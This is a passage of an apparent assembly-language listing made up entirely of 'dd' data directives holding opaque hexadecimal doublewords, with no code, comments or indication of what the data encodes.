0E62C220Fh dd 2845A4C0h, 0C3D71FFEh, 8E4C731Eh, 0A063B780h, 0AC4AE628h dd 1B2FDE0Fh, 22FBA110h, 1C30DA34h, 0C7AB0004h, 2175C876h dd 0EA0019B3h, 2DFB72A7h, 0ADED18h, 0D78AB15Eh, 15B5E675h dd 19B25301h, 97A71AEBh, 3E95CBD4h, 6B007905h, 1CEC09E1h dd 1E01B8F2h, 0FB065BEBh, 23C17A3Ch, 5E98AD0h, 0D9C4A06Fh dd 0CD5DC04Fh, 1600F497h, 0E3727518h, 0B9D650h, 0B2D4A947h dd 0E9D7F01h, 0BB8AF404h, 3880C196h, 0DD5E81h, 350A973Ch dd 0B205B11Eh, 9F86318h, 0F0719A10h, 8B74C4Eh, 5ED0DB02h dd 0E5E0445Fh, 0A602F4C2h, 1AD84CA1h, 0A56CC994h, 1FFFA820h dd 805F1BB5h, 3B0FFC34h, 73039FB4h, 631D188Fh, 0E140C878h dd 5F2116F3h, 5898002Bh, 0AE016D6Eh, 54633Bh, 9CA702D3h dd 239F9Ah, 0F125761Eh, 4294C151h, 913F9D00h, 92D90878h dd 0FA685054h, 0AAD40053h, 0CCBDA187h, 396EFF4Ah, 0B9A680E8h dd 7E34C391h, 89BA07F2h, 0FEC0D732h, 0B2850013h, 0DB894AAh dd 583F3000h, 4EB40E2Fh, 0FFCD07CEh, 70775A7Ah, 96394516h dd 4358BB00h, 908F13FEh, 0E2C0441h, 0C06F934Fh, 7699355Ch dd 0C4E1B200h, 0B58899Fh, 2B6D0236h, 8A6340E2h, 0C7CB8E80h dd 48B00E6Ah, 91691400h, 6A51F46h, 38E25C23h, 0A056470Bh dd 0E98190E0h, 80937E3Bh, 59AD3205h, 73611F96h, 840E09C8h dd 9060E5E1h, 75008AAFh, 8B6D5739h, 78F90E6h, 73C11EECh dd 0B85C70A2h, 4963456h, 0F6203340h, 3FF890A6h, 2E0058FDh dd 0D8FC9FEDh, 64B83569h, 0E075CE74h, 8DC8B802h, 58968E42h dd 7EA10074h, 109EBCE4h, 0DD031454h, 62D65AA8h, 0CA200489h dd 0A4F22B32h, 0C600EC48h, 0CC13D79Eh, 60A579h, 0A1D4513Bh dd 11C3FF90h, 34001C7Dh, 0EDA4293Ah, 6DAD9Ah, 9F9BE4CDh dd 32CBDAAAh, 0F422F600h, 10DB71E3h, 80A23FE5h, 251E97h dd 6DE44D60h, 6C02931Bh, 0CB29330Fh, 5C5CE090h, 2FCC0007h dd 0ADA2ECF7h, 77008234h, 7EF82E10h, 7AE49Fh, 75B5CDD6h dd 0C39A8A33h, 0BA035290h, 9D924CD2h, 6726B85Ch, 7550B2FBh dd 2884008Dh, 9A073C37h, 0BB0EF388h, 1F6365A4h, 0B3ABF1C0h dd 0CD96DECh, 0A7E35E0Ch, 33007611h, 0B059E26Bh, 3DB63DEh dd 0DAFB7436h, 4BA9B6C2h, 5060804Eh, 6781EEC8h, 3A100F9h dd 0D10A8FDh, 0C32CCAAAh, 74863482h, 58314FB2h, 3A79EEDCh dd 380704C8h, 0C08E2B29h, 1B4AECC2h, 0C026102h, 0C08BA8EDh dd 0F007F3D6h, 83310CA1h, 11D99CB9h, 7517A97Ah, 9C40A89Dh dd 2C42C47h, 4A69C05Dh, 0D909C6ADh, 9AD1A11Fh, 8B1FD041h dd 1D706CBh, 0DE5FDC11h, 0C509D3A1h, 9C498004h, 983AFC81h dd 0A00A720Bh, 0A3AB8E0Ch dd 0D2F10140h, 0B21945B1h, 0BD01EC5Fh, 216AFA1Dh, 0EC2C1339h dd 44EF801h, 0DCF05F40h, 67700E7h, 8BE0EF45h, 0C00FDA5h dd 243CCEC6h, 709CCh, 94193B50h, 2E56EF32h, 8F895424h dd 6D3E9F07h, 7B1FE100h, 0F5E00345h, 7CE40D3h, 3A0CC0C0h dd 21D13600h, 0EB898FA8h, 0FEFCFFh, 0F58D4F3Dh, 490139BDh dd 0E49CA400h, 6BF89D86h, 82480A7Bh, 9FD48565h, 17FFC0DDh dd 2E70B43Ah, 0EB989300h, 75E5D9BDh, 7F9E406h, 73E8956Dh dd 0A9C34F10h, 5CF1FFE6h, 0F4E450D3h, 51D68087h, 0C417B1Ch dd 0EAFD3842h, 915B2080h, 1CC8EFDDh, 27B0ACABh, 9E0C6302h dd 0E0CCFF75h, 99EB0321h, 0FD3277BAh, 50005183h, 83E7768Dh dd 0DE7EABh, 0C54828B2h, 701D57EEh, 4B75FE00h, 92A7DCACh dd 0B6D100C3h, 0B58A6609h, 6530C01Eh, 5D2A998Ch, 3DC4F4ABh dd 74875B34h, 414D0E64h, 0C0CF525Ch, 0B5060D9Ah, 5681D28h dd 1D016A9h, 9B4407Bh, 914F746Ah, 0C30098E4h, 0ABD4B46Eh dd 3A1E7ACCh, 76AF61h, 0C194BAAAh, 0A15D2C93h, 8D23B519h dd 2180A908h, 60C17CE0h, 74002959h, 0FD9CD2A7h, 13F1A05Eh dd 86339Ah, 68A3E6F7h, 5A00B564h, 0FD0ACC75h, 0E6C0113Fh dd 66CFE05Eh, 215508EFh, 8034883Eh, 0EE67EB1Bh, 1DB987Bh dd 84338719h, 0DCABD123h, 5100AAF2h, 97604CFDh, 0EE27AA3h dd 0F12E948h, 92EC4898h, 8303667Fh, 4B7E8FFCh, 0E80818F4h dd 0BA452049h, 0B4B86600h, 8A7CC6D2h, 0A6990153h, 1D2CFB56h dd 126988DFh, 38F036B9h, 0C13F68C8h, 719A669Ch, 0E9340899h dd 77844F88h, 3860066h, 0B841375Dh, 0EE0F9AE1h, 0C58D7ACFh dd 0A847E867h, 1890437Dh, 0E13547h, 0A248AB21h, 7F7BC517h dd 11FD9321h, 3FFC8069h, 8C37C026h, 1897A44h, 0B92C3F33h dd 31845193h, 67488C8Dh, 1D2B79A1h, 3C2AE882h, 0B8C75F0Ah dd 50467434h, 43F2B91Dh, 70C78430h, 840EAEAh, 7307CC90h dd 5D1AD671h, 6D8BF780h, 0CBC20010h, 4F53C4A6h, 787F3ED2h dd 23581107h, 7012544h, 10943AF5h, 0ACAA04F4h, 7560019h dd 2BEB3DCDh, 89001780h, 73D3FA74h, 0E8A77Dh, 10967EB4h dd 2AA407BDh, 0CC744E78h, 0F87FB500h, 0CF388644h, 2C1A3C1Fh dd 4787007Fh, 73EA43C1h, 0B10014F9h, 0F410FF22h, 0F5C44A7h dd 786C7D8Dh, 4A0038ABh, 45C00F3Ah, 0FB07B039h, 0A40B800Eh dd 203CA547h, 7E0C6C6Bh, 5C107FD9h, 918A90Eh, 80A72908h dd 8C703A4Ch, 0A678007Dh, 0A05FCF7Fh, 0B9185C22h, 0E3280FDFh dd 7A26886Eh, 7B08DB89h, 848FD044h, 22328322h, 9D325EE7h dd 8F8B7912h, 943F2814h, 447828B3h, 228437C3h, 5F4267FCh dd 0E0BCF08h, 0DA8AF310h, 146B1450h, 210C3C11h, 78C9089Fh dd 99847790h, 7DDB440Eh, 79282D4Eh, 18504314h, 7290DEDh dd 0E0F1887Ch, 42EF51C8h, 0C32407D4h, 0ABA25440h, 0DB008018h dd 0A4500FFBh, 6421965h, 516BB0A3h, 8B0020BCh, 0F9DF08F5h dd 0DC267Dh, 0C3F1B393h, 0FB06B088h, 7CB19D26h, 0C16F5F00h dd 5015CCh, 74985BF6h, 9CED6C44h, 0E0DBA300h, 4259DA08h dd 1A1900E3h, 7F01A68Dh, 0D600520Bh, 942E9E71h, 0EE11F7A3h dd 1B100F26h, 0E9272C58h, 0DA604E81h, 0B9D4D19h, 293BD61Ch dd 3E802300h, 1DC96F2Eh, 6672BFBDh, 0DAD803B7h, 0B89A5CF4h dd 0D69101FDh, 2083BE12h, 0B6ACF1FAh, 0C42FEAF9h, 9E00A10Ah dd 290DCD7Fh, 9027B7D7h, 6971E54h, 0AFAA436Dh, 7800F96Ch dd 79464911h, 0C9E95Bh, 33E7B45Eh, 376E2520h, 4F26A100h dd 7BB6C8AEh, 328A00ACh, 678065D6h, 0CFFC33BDh, 9CA7DD24h dd 0CDE3B600h, 76A193h, 0B83D5846h, 0A2DBC091h, 90BA2824h dd 6F641C00h, 95A83Bh, 0F00BD6BCh, 5451C537h, 9F606D00h dd 0A7D7C98h, 0F50F00C4h, 0D2270C1Eh, 2F00EE94h, 0E93637DBh dd 1F716AB3h, 0C007E383h, 175035D7h, 0E072895h, 58C5D3F4h dd 81E6E730h, 0A38BE490h, 50B9D0D8h, 33E000C9h, 0DD6370C8h dd 0B3035220h, 58512DD9h, 0CA30B702h, 50B17FB4h, 609F33h dd 0C720703h, 0B2E5AEFh, 40A3CE04h, 0F88078E5h, 0CDC2F6h dd 25D2EA61h, 0C434F3B8h, 2FA06301h, 0C30ABBDCh, 70FF2089h dd 0D9804010h, 0E675F900h, 4902F8F0h, 74BF00A0h, 0CA712FBDh dd 3800EBA3h, 829C9822h, 31BBB81h, 4362D1D9h, 0D6D8CA7Eh dd 0AC005231h, 504D444Bh, 3AE27F41h, 788CD4h, 0EEEE3F1h dd 5BB4349Ch, 0AA5338h, 9D523EC2h, 3EA803EDh, 0F7BE97h dd 0AF800D37h, 0BC065A2Dh, 866F3901h, 0E03EA5D3h, 3E191EDCh dd 0A00DF8Dh, 2DC2B752h, 1A0361CAh, 29E4FBE1h, 0D25EC074h dd 32811C37h, 0C77200ECh, 3B90BF52h, 790F34Ch, 87F56D33h dd 2EDA1F90h, 50B87F7Bh, 37CCC28h, 43E9E883h, 0F9E03BFCh dd 6B006AD7h, 9DB67BC0h, 724B19CEh, 157887h, 88579590h dd 49F021BDh, 0AD20700h, 4C68B937h, 0AB240971h, 0AC0036C3h dd 8DF114EFh, 0E3E81700h, 782C3991h, 24650088h, 75D1732Ah dd 0D500988Ch, 4F834989h, 6BF426h, 74F92533h, 6A637605h dd 0BF0072E8h, 0E627040Fh, 713D0Dh, 6EC226B5h, 0BB10C851h dd 40D86C00h, 0A5FD686Bh, 0DE2400B4h, 3EA3987Ah, 86012325h dd 12100B63h, 0CDF477C5h, 2FC90E37h, 30C0495Ch, 31147B73h dd 0C3C18807h, 7C909045h, 0F023FBh, 0DFA90C5Bh, 0C488B4A8h dd 0E30046FAh, 0E1F183F4h, 0BC5CA3h, 3EDA48EFh, 0C1FD639Dh dd 0FE07B63Ch, 68643Eh, 49E8B81Ch, 0F038A4h, 340BEED9h dd 6F0A5F3Ah, 0A09C8828h, 50670102h, 6021BA8Ch, 12F96618h dd 0FC4F8C7h, 33B700h, 7DA91178h, 0A37FDD57h, 9B383E1Ch dd 9F3B6283h, 0D400E573h, 93407BF3h, 0FEE4E116h, 0A8BF0009h dd 63227C76h, 0E174247Eh, 4967877Dh, 0C1B06798h, 95F8BFh dd 8F274F58h, 0B65728D9h, 0A3E7E000h, 0B51C7DD0h, 0D8C80077h dd 67692BB7h, 0C3EBD70h, 0EA2F0907h, 3A19D655h, 41E90076h dd 0D3E833F8h, 3400A670h, 7152040Dh, 7735E74h, 0A43CE1B6h dd 0FF602FB5h, 194A3B5Dh, 328E0501h, 540BF9EAh, 0EE1534E8h dd 0DE0E3BD3h, 503D5D00h, 45177C71h, 3100C1F8h, 39BD53B1h dd 29FD16Ah, 99D84825h, 10606235h, 28B0D226h, 95C23B02h dd 0C8C4A269h, 10CCDF38h, 5DC3964h, 0AD8F40C0h, 0A9A85C90h dd 0A3560206h, 0F19832C8h, 7FF89B63h, 0AE4C1B41h, 28127C10h dd 0AC4182ACh, 5D2FCB79h, 90E9BAFCh, 3CF200E0h, 80D9919Bh dd 240099E1h, 888B40A1h, 0A0745BBh, 55C203CEh, 0C4800D8h dd 0E1FF1DA4h, 0FEEDD700h, 97AAA2A6h, 3F78BCh, 3D20041Ch dd 0FD6E1FB1h, 0A2075700h, 8206AD96h, 76EE31h, 0C517EC34h dd 0E1E6F092h, 3EA9E800h, 971A9B69h, 90447C28h, 8CF4804Ch dd 9A54024Bh, 0FB1F896Eh, 90D7C4C0h, 0CCFEB800h, 79934695h dd 0F64D029Bh, 0A53E70B3h, 41E22460h, 599C3D2Ch, 24BB1E00h dd 7DE63329h, 1E9840h, 5109112Fh, 3F59E5CEh, 7D3C3E00h dd 4DAFEE97h, 3B71F8h, 0DFC9F70h, 86C95CA5h, 0B363A00h dd 0FD712178h, 73DA0B12h, 0C7816CBDh, 0F01760D2h, 3A07F550h dd 28DBF3A4h, 3F8D4B30h, 0F95F6A3h, 0C590848Ah, 20CDAFA6h dd 1D45BA00h, 0D72DE9CFh, 3E300ECh, 20F8F202h, 0ED0154A5h dd 80D57A81h, 3070C0BCh, 0EAF90060h, 0EEA2CDE4h, 0A31FF0E7h dd 8D408781h, 318E8A08h, 0D8B0E2h, 247B90F6h, 0ACA102BBh dd 0E46EFD00h, 231ED68Bh dd 51DD3D2Dh, 86C37380h, 0C90CE5A4h, 9121D00h, 95602526h dd 308E03B1h, 24056BB6h, 1F877EBh, 4A0E3ADFh, 0A0BB752Dh dd 8DA089B4h, 0F48E0073h, 0FFD8FAD0h, 1100EF80h, 798B47B6h dd 622D2Eh, 61169AE9h, 0BBC197D4h, 72A9F00h, 3CA644D1h dd 996E39ACh, 74A57B80h, 0BE69412Ch, 0FACE6324h, 0BF86A200h dd 0E4CA78h, 0B34EABD2h, 3A1ABD8Fh, 0F6B52C00h, 0B4BF9E41h dd 0A5920085h, 90C6D1F7h, 10029CAh, 4DE302F5h, 9BC045h dd 0F71BBC08h, 165E9F61h, 4972D100h, 9097E252h, 84E0A004h dd 59B092D3h, 0D509C4AAh, 59006AB5h, 82F63A60h, 56BBA41Fh dd 6344EF1Dh, 0FEADF68h, 1020F9B5h, 0B740DD8Fh, 55F29670h dd 5FEC7809h, 276B002Fh, 1C8E0103h, 405D2E70h, 661AB091h dd 7D0343FDh, 0EAC6C38Ah, 0A3EEC079h, 0E028C961h, 0E344CF80h dd 2300D06Ch, 1DA2EAD3h, 156FCBBh, 15834C0Ch, 0DC508F44h dd 0F05CC6E4h, 80B939DCh, 0E5CD2172h, 0EDC0BAh, 0BB633C85h dd 0D81458DBh, 0AFF42A00h, 0BDA8B776h, 0D02D0298h, 0D6336C86h dd 0CB2887C0h, 290014F8h, 0B2B3C9D4h, 754183h, 85D7A0Ch dd 0D64AC858h, 1B70A100h, 1DDE0BE7h, 0F82A2655h, 606E00F8h dd 0FFE54E8h, 9633431Eh, 0FCE23A40h, 39387407h, 0F76CB4h dd 0C3EDCFBh, 0E70DCAACh, 4F3A5A01h, 4116EDA2h, 461DF640h dd 19DF00ABh, 0A7E8A879h, 77008333h, 1B7F050Fh, 7BE4B2h dd 4D22E06h, 60B4F665h, 72632A00h, 6F459D1Eh, 88966036h dd 9FF65AB8h, 0D60023EAh, 327EBEDCh, 11E7382h, 94EA91E9h dd 875F4AA9h, 90A55D20h, 37BE6830h, 2DA8006Dh, 31442174h dd 131FF938h, 0B6C3C7Dh, 430E0D03h, 9F4FD05Fh, 0C1E7005Ch dd 580BFF28h, 0A53B739Eh, 48D89E2Ah, 9243057Ch, 4C7EDB3h dd 4ED05B97h, 0FF1E358h, 749840D3h, 0F575C00h, 470316B9h dd 0CDC7F91h, 62EA0DAh, 0D0620C7Ch, 0DF290EB4h, 3EDECB00h dd 0C074B75Dh, 8CEC00B3h, 0D1722991h, 0DA7EBA33h, 29F6607h dd 800E515Bh, 0D2B277BCh, 0A3B4003Bh, 5E1832ABh, 6A002952h dd 5079FE5h, 381B215h, 82AFA2B8h, 54C857C5h, 0D800F9C8h dd 5D2B71DFh, 1F4F67h, 2E3E7FBDh, 29FA9399h, 3B062707h dd 0D1561810h, 344F0016h, 1ADAF077h, 121329BDh, 541FB842h dd 5C8C3AC0h, 4B2CE1DCh, 2451B887h, 7F0B893Ch, 0ECA680A5h dd 180B3D3Bh, 0BA60030Eh, 0AA28F973h, 78729C88h, 3508FA00h dd 0D510ECBh, 1FCC1DF0h, 6D4CF8Bh, 723BA014h, 0C2A87503h dd 0F7F019D1h, 4E14B51Bh, 0FDB918h, 33752ECFh, 7F6D3D05h dd 0AF4400BAh, 3AC4F3E1h, 0A8F74AA8h, 3B000C48h, 7719E20Bh dd 809183h, 0C6C0C28Ch, 6B6E86D8h, 0C100F872h, 55F740B3h dd 1303ECDh, 0B7717B9Fh, 0D07F8B43h, 23009E08h, 8C749CFEh dd 49D47h, 0ACEB0DB6h, 0BED2227Dh, 0C6CD100h, 47081D36h dd 32F30057h, 0E22610F7h, 0A0006560h, 0E3FEEA7Ch, 7B409A19h dd 7A6E00DBh, 0DC571D4Fh, 1C00CE09h, 62B395C8h, 713615Fh dd 0D2835E5Ch, 11A32271h, 0DA42EFC0h, 8AC5FF00h, 4C060933h dd 0B58800DCh, 9111BDD3h, 83038BC3h, 4F1F60E5h, 0ACB1A5E9h dd 22CB460h, 55183CFDh, 0B440B9E0h, 0F61D17D9h, 3F9FEEF4h dd 872A69C1h, 3DE48E14h, 1C8AFEEBh, 80944F46h, 0F01C113h dd 0A600B64Ah, 72A8C682h, 7E147AA3h, 73B1006Dh, 2F707644h dd 7C9263D2h, 96D463B0h, 214007Ch, 1A3609B6h, 10F8901Fh dd 24063EFAh, 0F940BCCEh, 0F9A02ADh, 9EBFDD29h, 45E40D41h dd 5CA8C4B3h, 4158B612h, 376BFC00h, 0DA70A4h, 30E8A9D9h dd 0B5272B65h, 1F4EF909h, 0F5C00F7h, 7920F6F3h, 91E99817h dd 7F00888h, 0F4905E00h, 3C1954h, 379BFF30h, 0E6793528h dd 11194B70h, 6A488D51h, 10930h, 407CFC31h, 0D63E30F3h dd 46480E6Ah, 56F6701h, 0C670FB1Eh, 0D031D9Ah, 85134041h dd 0F18E6B69h, 145DF501h, 0B7C8D6FAh, 0FC945CE0h, 0B15F0029h dd 0D057E0B6h, 0DE0BB462h, 0B99F40h, 391F9547h, 46AE0028h dd 3A2EE783h, 860034B8h, 0B7C96D72h, 9B8F1Bh, 575DC2FCh dd 0C4AE62D7h, 0E2CC5000h, 42DD1473h, 6CCD0028h, 5E3F65AFh dd 2A0072A4h, 3D44AC75h, 1E898B27h, 80D01EA6h, 9AABE484h dd 2A601CDFh, 0CD78B560h, 641F4CEDh, 40F3A01Fh, 1D55E67Ah dd 971436BCh, 1498E5A5h, 80BC859Ch, 6AC7166Dh, 1322391Ch dd 84A70203h, 1200B5F5h, 146D3A3Ch, 5C10260Ah, 8900D25Ah dd 0B758DCF0h, 9478C388h, 9C1C2D00h, 0C14AE7CDh, 0C7F750Eh dd 5470C88Fh, 4D262F69h, 3CEC07h, 60282AD1h, 177ECD0h dd 6B7C8397h, 0E49121EFh, 29001623h, 30D3AA1Fh, 736DA7EBh dd 0FFC0A0D9h, 80BB2CAEh, 4C01029Bh, 0A5609DF6h, 7124CF6Ch dd 3F00A1BAh, 5D667021h, 737F0318h, 0B8556FDEh, 4CD624C8h dd 58942000h, 468F329Bh, 0C63B3FE1h, 178642Ch, 0F41AA336h dd 1897FC0Ch, 0FF0A8400h, 8EAA3596h, 0B1FA1Eh, 0F90C2BF2h dd 0B7A5E83Eh, 0BA907D73h, 9D036000h, 395DFD27h, 0E0A30086h dd 2BA02283h, 0B11D8A49h, 3180ECC7h, 0FBEA7EDAh, 9CF500C0h dd 941B77E1h, 0EC00AF86h, 0A0B5C214h, 0EC73F3B1h, 528D0054h dd 39C60C77h, 0C1008361h, 0F23DBEE6h, 0D34D37h, 9DF1F30Dh dd 72A3A9D0h, 5B1FD200h, 26D689Eh, 0BF7A60h, 5464F1CFh dd 0A4EAE938h, 2AC67E0Eh, 906AE00Ah, 1A30E08h, 92FEA6EEh dd 0E4565F5Ch, 0C2009CA2h, 0AEA59153h, 18C94003h, 0A0F0257Eh dd 0FA001009h, 167048EAh, 6D8CEFh, 0DD4D5C5h, 9F7FE383h dd 0D6E44200h, 0BA652F7h, 62913992h, 95C3DE00h, 6843C1DDh dd 0F157D81Fh, 0F9C56FCCh, 0E417060Fh, 51E04CAEh, 0EB692500h dd 0E6F93D29h, 83F10607h, 0E02860C6h, 0E15AB700h, 0CA717698h dd 504D00FBh, 0F4AF365Dh, 852CAE2Ah, 0CB00743Eh, 65F381A9h dd 96140020h, 0EB285BFDh, 3701C869h, 19553160h, 689E2C5Eh dd 0CCA68196h, 85953F77h, 0FEBF298h, 0EEE9FC00h, 0D626A3E2h dd 73F80F80h, 0A1F1DDE7h, 0FF0ADABFh, 38388597h, 9F00DF8Ch dd 0D7465910h, 0ED723Ch, 51A29FFh, 0AC328AF5h, 20BF3Ch dd 0A09AF9FCh, 2E8379h, 606B53A9h, 3ACC9A3h, 3C146900h dd 0A3D2706h, 99FB0002h, 118381ADh, 0A80E43F3h, 0E04CB887h dd 2F4A5668h, 7EE203D7h, 22A0643Dh, 0CD5EC4B8h, 800069B8h dd 14C1EB67h, 1E8353F1h, 0C0495B1Dh, 2DAF41FAh, 9A07A23Dh dd 2AB82587h, 52510AF0h, 71F5B881h, 0EFC40060h, 0E7AE3F7Ch dd 8F0067E0h, 2C1FFD7Dh, 1147F2Eh, 0D7A22287h, 0D0897BA8h dd 0C74AC666h, 993B55F8h, 5FE27F80h, 41227EC0h, 9FF25C00h dd 6847B61Bh, 0D69131B4h, 0E8AB64F0h, 0E5074E46h, 61C793CCh dd 0EB3FE920h, 89860049h, 73087A2Ah, 260082A3h, 0C574B644h dd 4763B0h, 0E68352F8h, 85F39E4Eh, 0C31D3200h, 0B8DC060h dd 822207AFh, 0E09771B1h, 0A6F1C877h, 0EC705D7Fh, 0F33FBD00h dd 9A8F895h, 80A10073h, 0F1DB6BD9h, 1A00A66Ah, 46A59A10h dd 2841DD8h, 0BF900D20h, 0C400832h, 0C4006202h, 211EC286h dd 0D7A6CEh, 0F3ABCAE6h, 173AD2B7h, 76CC8B3Eh, 0E7447D48h dd 9491B7C4h, 0F610B40Eh, 0EE00E218h, 27C97158h, 1204FDF2h dd 29E10Ah, 0DAB8A74Ch, 0E617C3D8h, 1F00E2A2h, 4EACA695h dd 34801C70h, 0DD740D1h, 799097AAh, 9085B424h, 78561280h dd 246D31Eh, 911DA805h dd 84449E39h, 0C607EE78h, 0F73F1364h, 0CF702039h, 1F706A56h dd 61857A8h, 0C9827C73h, 64C24202h, 48F0147Eh, 40A469Ch dd 8CF65754h, 6DC4882Ah, 0EEB94C00h, 0C9CD3449h, 5DD01F3h dd 0DE9DFBAFh, 0EF1080CFh, 0CC4380A9h, 1D720021h, 4DC4F940h dd 0B6069DA1h, 6210CFF4h, 997D0079h, 6A1D2107h, 0FC0071B8h dd 45BEC396h, 33E55C6h, 5A077C37h, 5FC81ACAh, 0EB304E4Fh dd 58F9D0B7h, 3B20E8EFh, 0FD8F8073h, 5B80777Bh, 0C3956A14h dd 0FCA05C12h, 20E2DB0Eh, 76B5F9D5h, 0FBBF006Fh, 84882591h dd 9C0E5D17h, 0AE619DD8h, 0CC9BFC9h, 0FBA4A110h, 0A050C46Dh dd 951902h, 9B5F0962h, 0FABD9A57h, 0C1C5A107h, 0AA500704h dd 0EBB7CFh, 56E4F2C7h, 2E81D90Bh, 0F32DFB00h, 0CA832012h dd 8A7A39h, 7045B477h, 8767DBE5h, 0D8B6A400h, 25F046D5h dd 30F20022h, 0B5BA5B63h, 4D00C660h, 9172592Fh, 4CA19FF8h dd 513F3C77h, 0B7140D80h, 6024C87Ch, 48C07307h, 2660E867h dd 0F4749769h, 0B5F30063h, 4F412A3Bh, 4B003CEAh, 3F2C3839h dd 393DEC55h, 0E4BE5E56h, 3AD55B8Eh, 7F7E7700h, 9C07102h dd 7866D20h, 817C00F9h, 1BDCAA9Dh, 0FB002CFAh, 0EF09E552h dd 0B8C291h, 0B7BFDEE1h, 3BD52FD1h, 6E78A0A8h, 71DB3E00h dd 0E88867Ah, 47C00A33h, 87FC6C43h, 40B4E8F4h, 39E03ACFh dd 8055FB3Ch, 0DC0DA15Bh, 7321CE8Ah, 0C95401F6h, 6E69482Fh dd 9BA052E9h, 7BCFF040h, 7016FE03h, 805201E3h, 0F73764h dd 0BDBA113Bh, 15D23486h, 394D6000h, 0E5D7AA25h, 23A23BACh dd 0B9DCDD00h, 3D5C61CDh, 1BE44A00h, 988BDBB1h, 266603B3h dd 0CAE965AEh, 23A8009Dh, 2389E81h, 0D2B0631Ch, 0E1D6C4C0h dd 0BF6147h, 0D4BC6CD7h, 7B93B4DFh, 0F8817A00h, 8F60C8Ch dd 0FCA7077Ch, 15F489FFh, 0ADD409CAh, 9A85808h, 0BC807FDAh dd 1F02D345h, 17921B15h, 715A00A4h, 34C76AEEh, 0F6680F41h dd 2BE07FA1h, 0EABD4D73h, 0E4889C00h, 20A3FB2Fh, 14D1F6C7h dd 8755C22Dh, 85B1441Dh, 805F42EEh, 97248AC5h, 11293500h dd 3B74096Ah, 4AF8002Bh, 7394F5A5h, 0FC032807h, 72673AACh dd 343D8F3h, 0BB1016Dh, 5AEAB2BEh, 0EC86F538h, 9D017914h dd 0AF8A08B5h, 4DC0E69Ch, 795B98D8h, 0E01F004Ch, 5F961556h dd 0C9F2EE1Dh, 670009EEh, 0F220A60Ah, 25A141Fh, 9B3F1CBDh dd 24C45F95h, 0DD3EFA0Eh, 458D008Bh, 0DC315Bh, 0AC199EAAh dd 0A76638F0h, 4EA4D400h, 0A9016B67h, 6C7C0027h, 0AA163ECBh dd 0D901B342h, 0CAE4E912h, 61E4CEC4h, 48037CFAh, 4938F8F8h dd 318AE0BDh, 3B87D9D8h, 3B44BA00h, 0DB7D0DFh, 46204A60h dd 7830F33h, 8F218B7Fh, 84231381h, 872A021Fh, 795C7Dh dd 0DBCDEB1Bh, 0F3315Fh, 5361F49Ch, 5EC696ECh, 1E003AB8h dd 7FB091F7h, 0FCAC95h, 9CF10894h, 5E731411h, 4600BBF0h dd 0B7EDDC35h, 0E64C0Fh, 0C362AEB9h, 43D44225h, 0B1456A0Eh dd 8566A365h, 7BF188F5h, 0D172008Fh, 0A5948C37h, 983A02DFh dd 133E840Fh, 4CC020A1h, 5B2C2A95h, 39A6AC46h, 0F51CF7F7h dd 0D0118F8h, 0B381B047h, 402C60h, 0DBBF4964h, 0D044DDE5h dd 0BF1C0538h, 0E0282469h, 89A2B98Eh, 0CA5420F4h, 26F77h dd 40392D23h, 2C606537h, 75E8277Ah, 5522BE00h, 0DCE7B1C5h dd 59320039h, 16343353h, 0F3003554h, 0C587FB83h, 88A4B3h dd 736677DCh, 99E330FDh, 0DE98B06Fh, 520099ACh, 6B15206Eh dd 724C1E56h, 402F1DD4h, 0AB0A14F5h, 9C73990Ch, 9674ED0Fh dd 9E8C801Ah, 71D817h, 5AEB22CBh, 0F797A6F9h, 0F05FEE2h dd 36CA7CADh, 7CF47488h, 1D8A1DAEh, 0DEF25CB5h, 9266818Ch dd 602F19DEh, 0F7125068h, 0CC122D3Eh, 39760902h, 60E48F15h dd 8506F0F2h, 902003ADh, 0ABEEB1BAh, 5D0F4800h, 88E644B2h dd 0C36009Ch, 0D81AA85Fh, 4B079B89h, 40B658D1h, 865C2E40h dd 71130022h, 5E6C4A50h, 1A002183h, 6E48586Ah, 4D890869h dd 4600CCCFh, 45DDCDA9h, 0E9003014h, 0C0E10340h, 1DB2B897h dd 80076A50h, 0BA64627Fh, 0D7000EFEh, 3FBF7AA3h, 122600Dh dd 7028D9BCh, 0D0845B8Bh, 0B230331Eh, 0F83AB8B0h, 68507DAh dd 87278D4Ah, 286651BFh, 9D8850A9h, 0FF00CA22h, 369EF2D5h dd 28FDBCE0h, 0EECC866h, 16A5EBB6h, 81F52460h, 3A00F305h dd 688B326Ah, 1C262BEh, 23CF6C0Fh, 0E46ED2F2h, 9F2C9D2Ah dd 3F00745Fh, 0CCA8287Dh, 35310955h, 1E00BCB9h, 9FD7F6F9h dd 4A5F520Fh, 0FB860213h, 63C2C012h, 73DC0026h, 61C9FD3Bh dd 0D00AF80h, 1E8C9E11h, 0F80FA6h, 0CD3D93EEh, 4A48B1C3h dd 803148h, 9CD23F65h, 39AB3652h, 22800EE2h, 21B9FAE1h dd 1400CD6Ch, 0D75D6097h, 535C608h, 749C51E8h, 47CCC3F6h dd 4A236498h, 2B5B6107h, 25536342h, 2C5CD830h, 16B7947h dd 18DEDD23h, 0FC170C06h, 2405DBEAh, 48FCF31Eh, 3B236C90h dd 1FD2B058h, 0C635AAh, 0C2720480h, 0E43BB3D8h, 7C7087B7h dd 2530EEFBh, 0FACF4527h, 91B500B4h, 54B0C360h, 595C5C13h dd 9FA40094h, 5D1B7672h, 83CD006Dh, 0FB36C4D7h, 4006706h dd 0EA6E9816h, 775C1F12h, 0C370019h, 0ED1A924Bh, 130060FFh dd 1795F78Ch, 0F6D972h, 0B20EB29h, 64423090h, 686ED837h dd 0E89DAB40h, 0B6A7092Bh, 1B80DBDAh, 0E539E782h, 0C62E6C98h dd 0EF001A9Ah, 0A186E2BAh, 0A0F15094h, 60800A7h, 0FE78AA0Dh dd 25CA215h, 69039BCh, 0AA70EFBh, 5BD7F20h, 376B61B8h dd 3D66C0C9h, 561652BFh, 0EF0090E8h, 3F395CC3h, 2AEC60h dd 26E0A8C6h, 0D41CA72h, 4B50254Ch, 3869D401h, 6830DA05h dd 3EBF003Bh, 5611E8D0h, 99008319h, 0E38D86B8h, 172D890Fh dd 7DD4EFBh, 0C0B72654h, 0C97BE7B3h, 3C0079F8h, 0F82A7009h dd 0EE39FC3h, 159389E0h, 0DB8ED881h, 5045E431h, 27715Ch dd 1BC369BFh, 0EC41285Eh, 2F223961h, 0D1CEC0CAh, 0F300AA5Ch dd 0BAF5A0E7h, 54147993h, 3B8B943Fh, 87249A1Dh, 77E1001Fh dd 5DEB981Fh, 0DAA72806h, 20277Ch, 2AAC4B8Ah, 47516340h dd 0B27E3673h, 73483F48h, 50574C01h, 65BC74B5h, 0AC849440h dd 0FEE426CBh, 3ABF80F8h, 51B93BC4h, 